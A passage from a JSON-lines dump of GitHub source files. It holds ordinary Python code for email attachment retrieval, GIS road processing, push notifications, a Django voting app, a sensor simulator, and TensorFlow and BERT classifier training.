from_adress = self.message.get(\"from\")\n return from_adress[from_adress.find('<') + 1:].replace('>','')\n\n def get_attachments(self,folder_path) -> str:\n file_paths = []\n \n self._file_names_in_directory(folder_path)\n for part in self.message.walk():\n if part.get_content_maintype() != 'multipart' and part.get('Content-Disposition') is not None:\n file_data = part.get_payload(decode = True)\n file_name = self._clean_str_format(part.get_filename())\n file_name = self._file_name_versioning(file_name)\n file_path = os.path.join(folder_path,file_name)\n with open(file_path,'wb') as f:\n f.write(file_data)\n file_paths.append(file_path)\n self.files_in_dir_path.append(file_name)\n return file_paths\n\n def _file_names_in_directory(self,local_path):\n if self.dir_path == local_path:\n return self.files_in_dir_path\n elif self.dir_path == \"\":\n self.dir_path = local_path\n self.files_in_dir_path = os.listdir(local_path)\n \n def _file_name_versioning(self,file_name):\n version = 1\n original_file_name = file_name\n while file_name in self.files_in_dir_path:\n file_name_components = original_file_name.split(\".\")\n file_name = file_name_components[0] + \"_\" + str(version) + \".\" + file_name_components[1]\n version += 1\n return file_name\n\n @staticmethod\n def _clean_str_format(string:str):\n return string.replace('\\r','').replace('\\n','')\n\n\nclass Mailbox:\n \"\"\"\n Creates instance of Mailbox which logs onto the relevant office365 email.\n\n Args:\n username:str = email username\n password:str = email password hashed using b64encode\n email_folder:str = the folder within the email to be searched. Defaults to inbox\n \n\n Returns:\n instance of Mailbox\n \"\"\"\n loaded_mails = []\n\n def __init__(self,email: str, config: dict, IMAP_host: str = \"outlook.office365.com\"):\n self.imap = imaplib.IMAP4_SSL(IMAP_host)\n self._IMAP_authenticate(email, config)\n self.imap.select(\"inbox\")\n\n def _IMAP_authenticate(self, email, config):\n try:\n othenticator = Othenticator.Othenticator(config)\n othenticator.imap_authentication(username = email, imap_instance = self.imap)\n except Exception as e: \n raise Exception(f\"Othenticator failed to authenticate email {email}. Error was {e}\")\n\n def __exit___(self):\n #close connection to email when script ends\n self.imap.close()\n \n def _format_search_criterias(self, *args) -> tuple:\n args = list(args)\n for i,arg in enumerate(args):\n # all the inputs for search method needs to be strings\n if isinstance(arg, datetime):\n arg = arg.strftime(\"%d-%b-%Y\")\n # search strings needs to be surrounded by apostrophes\n if i % 2 == 1:\n args[i] = '\"' + arg + '\"'\n return tuple(args)\n\n def search_emails(self, *args, subject_exact_match = False) -> tuple:\n args = self._format_search_criterias(*args)\n uids = self._checkForFailure(self.imap.uid(\"search\",None,*args))\n uids = uids[0].decode(\"utf-8\").split()\n\n if len(uids) == 0:\n print(\"No emails found matching time criteria\")\n return []\n\n imap_response = self._fetch_mails(uids)\n mails = self._construct_Mails(imap_response,uids)\n if subject_exact_match:\n if not \"SUBJECT\" in args:\n raise Exception (\"To do exact subject matching SUBJECT must be one of the search criterias\")\n expected_subject = args[args.index(\"SUBJECT\") + 1]\n self.loaded_mails = self._subject_exact_match(mails, expected_subject)\n else:\n self.loaded_mails = mails\n return self.loaded_mails\n\n def get_attachments(self,file_path):\n file_paths = []\n try:\n for mail in self.loaded_mails:\n file_paths += mail.get_attachments(file_path)\n return file_paths\n except:\n raise Exception(\"Failed to fetch attachments from loaded messages\")\n \n def move_messages(self, email_folder_path):\n for mail in self.loaded_mails:\n self._checkForFailure(self.imap.uid(\"COPY\", mail.uid, email_folder_path))\n self._checkForFailure(self.imap.uid(\"STORE\", mail.uid, \"+FLAGS\", \"(\\Deleted)\"))\n self.imap.expunge()\n\n def _construct_Mails(self, response:list[tuple,bytes],uids:list[bytes]) -> list[Mail]:\n mails = []\n for i in range(len(uids)):\n mails.append(Mail(uid = uids[i], response = response[i*2 : (i+1)*2]))\n return mails\n\n def _subject_exact_match(self,mails: list[Mail],expected_subject):\n relevant_messages = []\n for mail in mails:\n if expected_subject == '\"' + mail.get_subject() + '\"':\n relevant_messages.append(mail)\n return relevant_messages\n\n def _fetch_mails(self,uids):\n messages = self._checkForFailure(self.imap.uid('fetch', ','.join(uids), '(RFC822)'))\n return messages\n\n def _checkForFailure(self,returned):\n result, other = returned\n if result != 'OK':\n raise Exception('IMAP failed')\n return other\n\n\n\n","repo_name":"FormueNord/Pypeline","sub_path":"trigger_functions.py","file_name":"trigger_functions.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"38131435127","text":"# -*- coding: utf-8 -*-\nfrom utils import *\nimport time\nfrom os.path import join\n\ndef Process_Body(smooth_level: int = 30, extend_distance: int = 100, spike_keep: int = 500):\n \"\"\"\n 处理的主题函数\n \"\"\"\n try:\n arcpy.CreateFileGDB_management(FILE_ROOT, DATABASE_NAME)\n except:\n print(\"gdb already exist\")\n arcpy.env.workspace = join(FILE_ROOT, DATABASE_NAME)\n arcpy.env.outputMFlag = \"DISABLE_M_VALUE\" # 禁用M值输出\n arcpy.env.overwriteOutput = True\n print(f\"config workspace : {arcpy.env.workspace}\")\n\n # 1. 裁剪 + 按属性筛选出所需要的道路\n osm_clip = Clip_Road(BOUNDARY_PATH, OSM_PATH)\n select_osm = Select_Road(osm_clip)\n raw_road = select_osm\n\n # 2. 缓冲区后获取中心线\n centerline = Convert_Centerline(select_osm, smooth_level)\n print(f\"Convert_centerline Finish:{centerline}\")\n\n # 3. 延伸中心线\n extendedlines = Extend_Road(centerline, extend_distance)\n print(\"Extend roads Finish\")\n\n # 4. 检查拓扑\n err_point = Check_Topo(extendedlines)\n print(\"Check Topo Finish\")\n\n # 5. 清除过短的悬挂线\n master_road = Clean_Spike(extendedlines, err_point, spike_keep, keep_spike=False)\n print(\"Clean Spike Finish\")\n\n # 6. 把属性连接回来\n master_road = Join_Attributes(raw_road, master_road)\n road_result = Delete_Fields(master_road)\n\n # 7. 生成地块\n road_result = \"road_results\"\n parcel = Create_Parcel(road_result)\n return parcel\n\nif __name__ == '__main__':\n print(f\"😈😈😈😈😈 Begin process 😈😈😈😈😈\")\n start_time = time.time()\n output_path = Process_Body(smooth_level=10, extend_distance=100, spike_keep=500)\n print(f\"🤭🤭🤭🤭🤭 processed 🤭🤭🤭🤭🤭\")\n print(f\"����🎉🎉🎉🎉 time used: {time.time()- start_time} 🎉🎉🎉🎉🎉\")\n print(f\"🚀🚀🚀🚀🚀 result: {output_path} 🚀🚀🚀🚀🚀\")","repo_name":"Liuzhizhiooo/Parcel-Generation-with-OSM-Road-Network","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"13723408093","text":"import json\nfrom pushover_notification import PushoverNotification\nimport httplib, urllib2, urllib\n\nclass PushoverClient:\n\n connection = None\n\n def __init__(self, user_token, app_token):\n self.user_token = user_token\n self.app_token = app_token\n self.connection = httplib.HTTPSConnection(\"api.pushover.net\")\n\n def post_fields_for_notification(self, notification):\n assert isinstance(notification, PushoverNotification)\n return { \"title\" : notification.title,\n \"message\" : notification.message if len(notification.message) > 0 else \"\",\n \"url\" : notification.url,\n \"token\" : self.app_token,\n \"user\" : self.user_token}\n\n#http://stackoverflow.com/questions/6480723/urllib-urlencode-doesnt-like-unicode-values-how-about-this-workaround\n def encode_dict(self, map):\n return dict([(key,val.encode('utf-8')) for key, val in map.items() if isinstance(val, basestring)])\n\n def send_push_notification(self, notification):\n\n fields = self.post_fields_for_notification(notification)\n byteFields = self.encode_dict(fields)\n body = urllib.urlencode(byteFields)\n\n self.connection.connect()\n\n self.connection.request(\"POST\", \"/1/messages.json\", body)\n response = self.connection.getresponse()\n self.connection.close()\n\n return response.status == 200\n\n","repo_name":"problame/mail2pushover","sub_path":"pushover_client.py","file_name":"pushover_client.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"35171267672","text":"import sys\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, views as auth_views\nfrom django.http.response import HttpResponseNotFound\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom ratelimit.decorators import ratelimit\nfrom asgiref.sync import async_to_sync\nfrom channels.layers import get_channel_layer\n\nfrom vote.authentication import voter_login_required\nfrom vote.forms import AccessCodeAuthenticationForm, VoteForm, ApplicationUploadFormUser\nfrom vote.models import Election, Voter, Session\nfrom vote.selectors import open_elections, upcoming_elections, published_elections, closed_elections\n\n\nclass LoginView(auth_views.LoginView):\n # login view settings\n # https://docs.djangoproject.com/en/3.0/topics/auth/default/#django.contrib.auth.views.LoginView\n authentication_form = AccessCodeAuthenticationForm\n template_name = 'vote/login.html'\n redirect_authenticated_user = False\n\n def get(self, request, *args, **kwargs):\n print(request, args)\n u = request.user\n if u.is_authenticated and isinstance(u, Voter):\n return redirect('vote:index')\n return super().get(request, *args, **kwargs)\n\n @method_decorator(ratelimit(key=settings.RATELIMIT_KEY, rate='10/h', method='POST'))\n def post(self, request, *args, **kwargs):\n ratelimited = getattr(request, 'limited', False)\n if ratelimited:\n return render(request, template_name='vote/ratelimited.html', status=429)\n return super().post(request, *args, **kwargs)\n\n\n@ratelimit(key=settings.RATELIMIT_KEY, rate='10/h')\ndef code_login(request, access_code=None):\n ratelimited = getattr(request, 'limited', False)\n if ratelimited:\n return render(request, template_name='vote/ratelimited.html', status=429)\n\n if not access_code:\n messages.error(request, 'No access code provided.')\n return redirect('vote:code_login')\n\n user = authenticate(access_code=access_code)\n if not user:\n messages.error(request, 'Invalid access code.')\n return redirect('vote:code_login')\n\n login(request, user)\n\n if user.qr:\n group = \"QR-Reload-\" + str(user.session.pk)\n async_to_sync(get_channel_layer().group_send)(\n group,\n {'type': 'send_reload', 'link': reverse('management:add_mobile_voter', args=[user.session.pk])}\n )\n\n return redirect('vote:index')\n\n\n@voter_login_required\ndef index(request):\n voter: Voter = request.user\n session = voter.session\n\n def list_elections(elections):\n return [\n (e, voter.can_vote(e), voter.has_applied(e))\n for e in elections\n ]\n\n context = {\n 'title': session.title,\n 'meeting_link': session.meeting_link,\n 'voter': voter,\n 'existing_elections': (session.elections.count() > 0),\n 'open_elections': list_elections(open_elections(session)),\n 'upcoming_elections': list_elections(upcoming_elections(session)),\n 'published_elections': list_elections(published_elections(session)),\n 'closed_elections': list_elections(closed_elections(session)),\n }\n\n # overview\n return render(request, template_name='vote/index.html', context=context)\n\n\n@voter_login_required\ndef vote(request, election_id):\n voter: Voter = request.user\n try:\n election = voter.session.elections.get(pk=election_id)\n except Election.DoesNotExist:\n return HttpResponseNotFound('Election does not exists')\n\n can_vote = voter.can_vote(election)\n if election.max_votes_yes is not None:\n max_votes_yes = min(election.max_votes_yes,\n election.applications.all().count())\n else:\n max_votes_yes = election.applications.all().count()\n\n context = {\n 'title': election.title,\n 'election': election,\n 'voter': voter,\n 'can_vote': can_vote,\n 'max_votes_yes': max_votes_yes,\n 'form': VoteForm(request, election=election)\n }\n\n if request.POST and can_vote:\n form = VoteForm(request, election=election, data=request.POST)\n if form.is_valid():\n form.save()\n return redirect('vote:index')\n\n return render(request, template_name='vote/vote.html', context=context)\n\n\n@voter_login_required\ndef apply(request, election_id):\n voter = request.user\n\n election = get_object_or_404(voter.session.elections, pk=election_id)\n\n if not election.can_apply or not election.voters_self_apply:\n messages.add_message(request, messages.ERROR, 'Self applications are either not possible for this election or'\n ' currently not accepted')\n return redirect('vote:index')\n\n application = voter.applications.filter(election__id=election_id)\n instance = None\n if application.exists():\n instance = application.first()\n\n if request.method == 'GET':\n form = ApplicationUploadFormUser(election, request, instance=instance)\n else:\n form = ApplicationUploadFormUser(\n election, request, data=request.POST, files=request.FILES, instance=instance)\n if form.is_valid():\n form.save()\n return redirect('vote:index')\n\n context = {\n 'form': form,\n 'election': election,\n 'with_email': True,\n 'with_description': True,\n }\n return render(request, template_name='vote/application.html', context=context)\n\n\n@voter_login_required\ndef delete_own_application(request, election_id):\n voter = request.user\n election = get_object_or_404(voter.session.elections, pk=election_id)\n application = voter.applications.filter(election__id=election_id)\n if not election.can_apply:\n messages.add_message(request, messages.ERROR,\n 'Applications can currently not be deleted')\n return redirect('vote:index')\n if application.exists():\n instance = application.first()\n instance.delete()\n return redirect('vote:index')\n\n return HttpResponseNotFound('Application does not exist')\n\n\ndef help_page(request):\n return render(request, template_name='vote/help.html')\n\n\ndef spectator(request, uuid):\n session = get_object_or_404(Session.objects, spectator_token=uuid)\n\n context = {\n 'title': session.title,\n 'meeting_link': session.meeting_link,\n 'existing_elections': (session.elections.count() > 0),\n 'open_elections': open_elections(session),\n 'upcoming_elections': upcoming_elections(session),\n 'published_elections': published_elections(session),\n 'closed_elections': closed_elections(session),\n }\n return render(request, template_name='vote/spectator.html', context=context)\n","repo_name":"stustanet/wahlfang","sub_path":"vote/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6903,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"75"} +{"seq_id":"19649341055","text":"import time\nimport math\nimport cmd\nimport sys\nsys.path.append(\"../Dependencies/PythonSharedBuffers/src\")\n\nfrom Sensor import *\nfrom Serialization import *\nfrom Constants import *\nfrom QuaternionFuncs import *\n\nimport pydsm\n\nSERVERID = SENSOR_SERVER_ID\nCLIENTID = 101\n\nangular = Angular()\nlinear = Linear()\n\nfor i in range(3):\n angular.pos[i] = 0\n angular.vel[i] = 0\n angular.acc[i] = 0\n linear.pos[i] = 0\n linear.vel[i] = 0\n linear.acc[i] = 0\nangular.pos[0] = 1\nangular.pos[3] = 0\n\nclient = pydsm.Client(SERVERID, CLIENTID, True)\n\nclient.registerLocalBuffer(SENSORS_ANGULAR, sizeof(Angular), False)\nclient.registerLocalBuffer(SENSORS_LINEAR, sizeof(Linear), False)\ntime.sleep(0.1)\n\nclient.setLocalBufferContents(SENSORS_ANGULAR, Pack(angular))\nclient.setLocalBufferContents(SENSORS_LINEAR, Pack(linear))\n\ndef update():\n client.setLocalBufferContents(SENSORS_ANGULAR, Pack(angular))\n client.setLocalBufferContents(SENSORS_LINEAR, Pack(linear))\n\ndef ap(x, y, z):\n qx = axisangle_to_q((1, 0, 0), math.radians(x))\n qy = axisangle_to_q((0, 1, 0), math.radians(y))\n qz = axisangle_to_q((0, 0, 1), math.radians(z))\n q = q_mult(qx, q_mult(qy, qz))\n angular.pos[QUAT_W] = q[0]\n angular.pos[QUAT_X] = q[1]\n angular.pos[QUAT_Y] = q[2]\n angular.pos[QUAT_Z] = q[3]\n update()\n\ndef av(x, y, z):\n angular.vel[xaxis] = x\n angular.vel[yaxis] = y\n angular.vel[zaxis] = z\n update()\n\ndef aa(pos, time):\n angular.acc[xaxis] = x\n angular.acc[yaxis] = y\n angular.acc[zaxis] = z\n update()\n\ndef lp(x, y, z):\n linear.pos[xaxis] = x\n linear.pos[yaxis] = y\n linear.pos[zaxis] = z\n update()\n\ndef lv(x, y, z):\n linear.vel[xaxis] = x\n linear.vel[yaxis] = y\n linear.vel[zaxis] = z\n update()\n\ndef la(x, y, z):\n linear.acc[xaxis] = x\n linear.acc[yaxis] = y\n linear.acc[zaxis] = z\n update()\n\nclass Sensor(cmd.Cmd):\n intro = 'Sensor'\n prompt = '(sensor) '\n\n def do_ap(self, arg):\n 'set angular position'\n ap(*parse(arg))\n\n def do_av(self, arg):\n 'set angular velocity'\n av(*parse(arg))\n\n def do_aa(self, arg):\n 'set angular acceleration'\n aa(*parse(arg))\n\n def do_lp(self, arg):\n 'set linear position'\n lp(*parse(arg))\n\n def do_lv(self, arg):\n 'set linear velocity'\n lv(*parse(arg))\n\n def do_la(self, arg):\n 'set linear acceleration'\n la(*parse(arg))\n\n def do_exit(self, arg):\n 'exit Sensor CLI'\n print('Exiting')\n return True\n\ndef parse(arg):\n 'Convert a series of zero or more numbers to an argument tuple'\n return tuple(map(float, arg.split()))\n\nif __name__ == '__main__':\n running = True\n while(running):\n try:\n Sensor().cmdloop()\n running = False\n except:\n print('Error')\n running = True\n","repo_name":"sdrobotics101/Simulation","sub_path":"src/Sensor/FusionCore.py","file_name":"FusionCore.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"6573651789","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl import app\nfrom absl import flags\nimport tensorflow.compat.v1 as tf\nfrom extrapolation.classifier import classifier\nfrom extrapolation.classifier import train_cnn\nfrom extrapolation.utils import dataset_utils\nfrom extrapolation.utils import utils\n\nflags.DEFINE_string('expname', 'temp', 'name of this experiment directory')\nflags.DEFINE_integer('max_steps', 1000, 'number of steps of optimization')\nflags.DEFINE_integer('max_steps_test', 10, 'number of steps of testing')\nflags.DEFINE_integer('run_avg_len', 50,\n 'number of steps of average losses over')\nflags.DEFINE_integer('print_freq', 50, 'number of steps between printing')\nflags.DEFINE_float('lr', 0.001, 'Adam learning rate')\nflags.DEFINE_string('conv_dims', '80,40,20',\n 'comma-separated list of integers for conv layer sizes')\nflags.DEFINE_string('conv_sizes', '5,5,5',\n 'comma-separated list of integers for conv filter sizes')\nflags.DEFINE_string('dense_sizes', '100',\n 'comma-separated list of integers for dense hidden sizes')\nflags.DEFINE_string('mpl_format', 'pdf',\n 'format to save matplotlib figures in, also '\n 'becomes filename extension')\nflags.DEFINE_string('results_dir',\n '/tmp',\n 'main folder for experimental results')\nflags.DEFINE_integer('patience', 50, 'steps of patience for early stopping')\nflags.DEFINE_integer('seed', 0, 'random seed for Tensorflow')\nflags.DEFINE_integer('n_classes', 10, 'number of classes in prediction')\nflags.DEFINE_string('early_stopping_metric', 'loss',\n 'which metric to track for early stopping (loss or error)')\nflags.DEFINE_string('training_results_dir',\n '/tmp',\n 'Output directory for experimental results.')\nflags.DEFINE_string('ood_classes', '5', 'a comma-separated list of'\n 'which labels to consider OoD')\nflags.DEFINE_float('label_noise', '0', 'what percentage of labels to flip')\nflags.DEFINE_string('dataset_name', 'mnist', 'what dataset to use')\n# Note: --conv_dims=50,20 --conv_sizes=5,5 is a reasonable default\n\nFLAGS = flags.FLAGS\n\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError('Too many command-line arguments.')\n\n params = FLAGS.flag_values_dict()\n tf.set_random_seed(params['seed'])\n\n params['results_dir'] = utils.make_subdir(\n params['training_results_dir'], params['expname'])\n params['figdir'] = utils.make_subdir(params['results_dir'], 'figs')\n params['ckptdir'] = utils.make_subdir(params['results_dir'], 'ckpts')\n params['logdir'] = utils.make_subdir(params['results_dir'], 'logs')\n params['tensordir'] = utils.make_subdir(params['results_dir'], 'tensors')\n\n # Load the classification model.\n conv_dims = [int(x) for x in (params['conv_dims'].split(',')\n if params['conv_dims'] else [])]\n conv_sizes = [int(x) for x in (params['conv_sizes'].split(',')\n if params['conv_sizes'] else [])]\n dense_sizes = [int(x) for x in (params['dense_sizes'].split(',')\n if params['dense_sizes'] else [])]\n params['n_layers'] = len(conv_dims)\n clf = classifier.CNN(conv_dims, conv_sizes, dense_sizes,\n params['n_classes'], onehot=True)\n\n # Checkpoint the initialized model, in case we want to re-run it from there.\n utils.checkpoint_model(clf, params['ckptdir'], 'initmodel')\n\n # Load the \"in-distribution\" and \"out-of-distribution\" classes as\n # separate splits.\n ood_classes = [int(x) for x in params['ood_classes'].split(',')]\n # We assume we train on all non-OOD classes.\n all_classes = range(params['n_classes'])\n ind_classes = [x for x in all_classes if x not in ood_classes]\n (itr_train, itr_valid, itr_test, itr_test_ood\n ) = dataset_utils.load_dset_ood_supervised_onehot(\n ind_classes, ood_classes, label_noise=(params['label_noise']),\n dset_name=params['dataset_name'])\n # Train and test the model in-distribution, and save test outputs.\n train_cnn.train_classifier(clf, itr_train, itr_valid, params)\n train_cnn.test_classifier(clf, itr_test, params, 'test')\n\n # Save model outputs on the training set.\n params['tensordir'] = utils.make_subdir(\n params['results_dir'], 'train_tensors')\n train_cnn.test_classifier(clf, itr_train, params, 'train')\n\n # Save model outputs on the OOD set.\n params['tensordir'] = utils.make_subdir(\n params['results_dir'], 'ood_tensors')\n train_cnn.test_classifier(clf, itr_test_ood, params, 'ood')\n\n params['tensordir'] = utils.make_subdir(\n params['results_dir'], 'tensors')\n\n # Save to disk samples of size 1000 from the train, valid, test and OOD sets.\n train_data = utils.aggregate_batches(itr_train, 1000,\n ['train_x_infl', 'train_y_infl'])\n\n validation_data = utils.aggregate_batches(itr_valid, 1000,\n ['valid_x_infl', 'valid_y_infl'])\n\n test_data = utils.aggregate_batches(itr_test, 1000,\n ['test_x_infl', 'test_y_infl'])\n\n ood_data = utils.aggregate_batches(itr_test_ood, 1000,\n ['ood_x_infl', 'ood_y_infl'])\n utils.save_tensors(train_data.items() + validation_data.items() +\n test_data.items() + ood_data.items(),\n params['tensordir'])\n\n\nif __name__ == '__main__':\n app.run(main)\n","repo_name":"progrmanial/Google-AI-Research","sub_path":"extrapolation/influence/train_classifier_ood.py","file_name":"train_classifier_ood.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"20417575315","text":"\"\"\"\nSynologyChat platform for notify component.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/notify.synology_chat/\n\"\"\"\nimport logging\nimport json\n\nimport requests\nimport voluptuous as vol\n\nfrom homeassistant.components.notify import (\n BaseNotificationService, PLATFORM_SCHEMA)\nfrom homeassistant.const import CONF_RESOURCE\nimport homeassistant.helpers.config_validation as cv\n\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_RESOURCE): cv.url,\n})\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef get_service(hass, config, discovery_info=None):\n \"\"\"Get the Synology Chat notification service.\"\"\"\n resource = config.get(CONF_RESOURCE)\n\n return SynologyChatNotificationService(resource)\n\n\nclass SynologyChatNotificationService(BaseNotificationService):\n \"\"\"Implementation of a notification service for Synology Chat.\"\"\"\n\n def __init__(self, resource):\n \"\"\"Initialize the service.\"\"\"\n self._resource = resource\n\n def send_message(self, message=\"\", **kwargs):\n \"\"\"Send a message to a user.\"\"\"\n data = {\n 'text': message\n }\n\n to_send = 'payload={}'.format(json.dumps(data))\n\n response = requests.post(self._resource, data=to_send, timeout=10)\n\n if response.status_code not in (200, 201):\n _LOGGER.exception(\n \"Error sending message. Response %d: %s:\",\n response.status_code, response.reason)\n","repo_name":"jest-community/jest-pytest","sub_path":"src/__tests__/integration/home-assistant/homeassistant/components/notify/synology_chat.py","file_name":"synology_chat.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"29641324376","text":"import pandas as pd\nfrom transformers import BertTokenizer, AutoModel, AdamW\nimport torch\nfrom sklearn.model_selection import train_test_split\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\nimport torch.nn as nn\nimport numpy as np\nfrom sklearn.metrics import classification_report\n\ndevice = 'cuda:0' if torch.cuda.is_available() else 'cpu'\nprint('GPU state:', device)\nPRETRAINED_MODEL_NAME = 'bert-base-uncased'\nBATCH_SIZE = 5\nEPOCH = 10\n\nbert = AutoModel.from_pretrained(PRETRAINED_MODEL_NAME)\ntokenizer = BertTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)\n\n\nclass BERT(nn.Module):\n def __init__(self, bert):\n super(BERT, self).__init__()\n self.bert = bert\n self.dropout = nn.Dropout(0.1)\n self.relu = nn.ReLU()\n # Dense Layer\n self.fc1 = nn.Linear(768, 512)\n self.fc2 = nn.Linear(512, 256)\n self.fc3 = nn.Linear(256, 2)\n self.fc4 = nn.Linear(768, 2)\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, sent_id, mask):\n _, cls_hs = self.bert(sent_id, attention_mask=mask)\n # x = self.fc1(cls_hs)\n # x = self.relu(x)\n # x = self.dropout(x)\n # x = self.fc2(x)\n # x = self.relu(x)\n # x = self.dropout(x)\n # #output\n # x = self.fc3(x)\n x = self.fc4(cls_hs)\n x = self.softmax(x)\n return x\n\n\ndef train():\n model.train()\n total_loss, total_accuracy = 0, 0\n total_preds = []\n\n for step, batch in enumerate(train_dataloader):\n # progress update every 50 batches\n if step%50==0 and not step==0:\n print(\"Batch {:>5} of {:>5}.\".format(step, len(train_dataloader)))\n # push to GPU\n batch = [r.to(device) for r in batch]\n sent_id, mask, labels = batch\n\n # clear previous gradient\n model.zero_grad()\n # get prediction from current batch\n preds = model(sent_id, mask)\n # calculate loss\n loss = cross_entropy(preds, labels)\n # add to total loss\n total_loss = total_loss + loss.item()\n # backward to calculate gradients\n loss.backward()\n # clip gradient to 1.0 to prevent exploding gradient\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n # update params\n optimizer.step()\n # push back to CPU\n preds=preds.detach().cpu().numpy()\n\n total_preds.append(preds)\n avg_loss = total_loss/len(train_dataloader)\n total_preds = np.concatenate(total_preds, axis=0)\n return avg_loss, total_preds\n\n\ndef evaluate():\n print(\"\\nEvaluating...\")\n model.eval()\n\n total_loss, total_accuracy = 0, 0\n total_preds = []\n\n for step, batch in enumerate(val_dataloader):\n if step % 20 == 0 and not step == 0:\n print(' Batch {:>5,} of {:>5,}.'.format(step, len(val_dataloader)))\n batch = [t.to(device) for t in batch]\n sent_id, mask, labels = batch\n\n with torch.no_grad():\n preds = model(sent_id, mask)\n loss = cross_entropy(preds, labels)\n total_loss = total_loss + loss.item()\n preds = preds.detach().cpu().numpy()\n total_preds.append(preds)\n avg_loss = total_loss / len(val_dataloader)\n total_preds = np.concatenate(total_preds, axis=0)\n return avg_loss, total_preds\n\n\ndef tokenize_encode_covert_to_tensor(data, label):\n encode = tokenizer.batch_encode_plus(data.tolist(), max_length=25, pad_to_max_length=True, truncation=True)\n seq = torch.tensor(encode['input_ids'])\n mask = torch.tensor(encode['attention_mask'])\n y = torch.tensor(label.tolist())\n return seq, mask, y\n\n\ndataset = pd.read_csv('data/Restaurant_Reviews.tsv', delimiter='\\t', quoting=3)\ndataset['Review'] = dataset['Review'].apply(lambda x: x.lower())\n\n#split data into train, validation and test\ntrain_text, temp_text, train_labels, temp_labels = train_test_split(dataset['Review'], dataset['Liked'],\n random_state=2018,\n test_size=0.3,\n stratify=dataset['Liked'])\nval_text, test_text, val_labels, test_labels = train_test_split(temp_text, temp_labels,\n random_state=2018,\n test_size=0.5,\n stratify=temp_labels)\n\n#tokenize and encode sequences, and convert it into tensor\ntrain_seq, train_mask, train_y = tokenize_encode_covert_to_tensor(train_text, train_labels)\ntest_seq, test_mask, test_y = tokenize_encode_covert_to_tensor(test_text, test_labels)\nval_seq, val_mask, val_y = tokenize_encode_covert_to_tensor(val_text, val_labels)\n\n#wrap tensor and sampling data\ntrain_data = TensorDataset(train_seq, train_mask, train_y)\ntrain_sampler = RandomSampler(train_data)\ntrain_dataloader = DataLoader(train_data, sampler=train_sampler, batch_size=BATCH_SIZE)\n\nval_data = TensorDataset(val_seq, val_mask, val_y)\nval_sampler = RandomSampler(val_data)\nval_dataloader = DataLoader(val_data, sampler=val_sampler, batch_size=BATCH_SIZE)\n\n# prevent bert update params\n# for param in bert.parameters():\n# param.requires_grad = False\n\nmodel = BERT(bert)\nmodel = model.to(device)\n\noptimizer = AdamW(model.parameters(), lr=1e-5)\ncross_entropy = nn.CrossEntropyLoss()\n\nbest_valid_loss = float('inf')\ntrain_losses = []\nvalid_losses = []\n\nfor epoch in range(EPOCH):\n print(\"\\nEpoch {:} / {:}\".format(epoch+1, EPOCH))\n train_loss, _ = train()\n val_loss, _ = evaluate()\n\n if val_loss < best_valid_loss:\n best_valid_loss = val_loss\n torch.save(model.state_dict(), 'model.pt')\n train_losses.append(train_loss)\n valid_losses.append(val_loss)\n print(f\"\\nTraining Loss: {train_loss:.3f}\")\n print(f\"Validation Loss: {best_valid_loss:.3f}\")\n\npath = 'model.pt'\nmodel.load_state_dict(torch.load(path))\n\nwith torch.no_grad():\n preds = model(test_seq.to(device), test_mask.to(device))\n preds = preds.detach().cpu().numpy()\n\npreds = np.argmax(preds, axis=1)\nprint(classification_report(test_y, preds))\nfor i in range(10):\n print(test_text.tolist()[i], test_y.tolist()[i], preds[i])","repo_name":"samueljsluo/Restaurant-Review-Classification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1973151991","text":"import sys\n\nfrom constants.items import OutputsEnum, SystemsEnum\n\nfrom outputs.csv_output import save_digital_ocean_results_in_csv, save_vultr_results_in_csv\nfrom outputs.screen_output import print_results_on_screen\nfrom outputs.json_output import save_results_in_json\n\nfrom spiders.extractor_digital_ocean import spider_extractor_digital_ocean\nfrom spiders.extractor_vultr import spider_extractor_vultr\n\n\"\"\"\n Função Responsável por decidir a saída das spiders\n de acordo com os argumentos informados pelo usuário\n\"\"\"\n\ndef main(argv):\n if argv:\n rows_vultr = spider_extractor_vultr()\n rows_digital_ocean = spider_extractor_digital_ocean()\n\n for opt in argv:\n if \"--help\" in opt:\n show_help()\n\n elif \"--print\" in opt:\n print_results_on_screen(SystemsEnum.VULTR, rows_vultr)\n print_results_on_screen(SystemsEnum.DIGITAL_OCEAN, rows_digital_ocean)\n\n elif \"--save_csv\" in opt:\n save_vultr_results_in_csv(rows_vultr)\n save_digital_ocean_results_in_csv(rows_digital_ocean)\n\n elif \"--save_json\" in opt:\n save_results_in_json(OutputsEnum.VULTR_JSON_FILE, rows_vultr)\n save_results_in_json(OutputsEnum.DIGITAL_OCEAN_JSON_FILE, rows_digital_ocean)\n\n else:\n show_help()\n else:\n 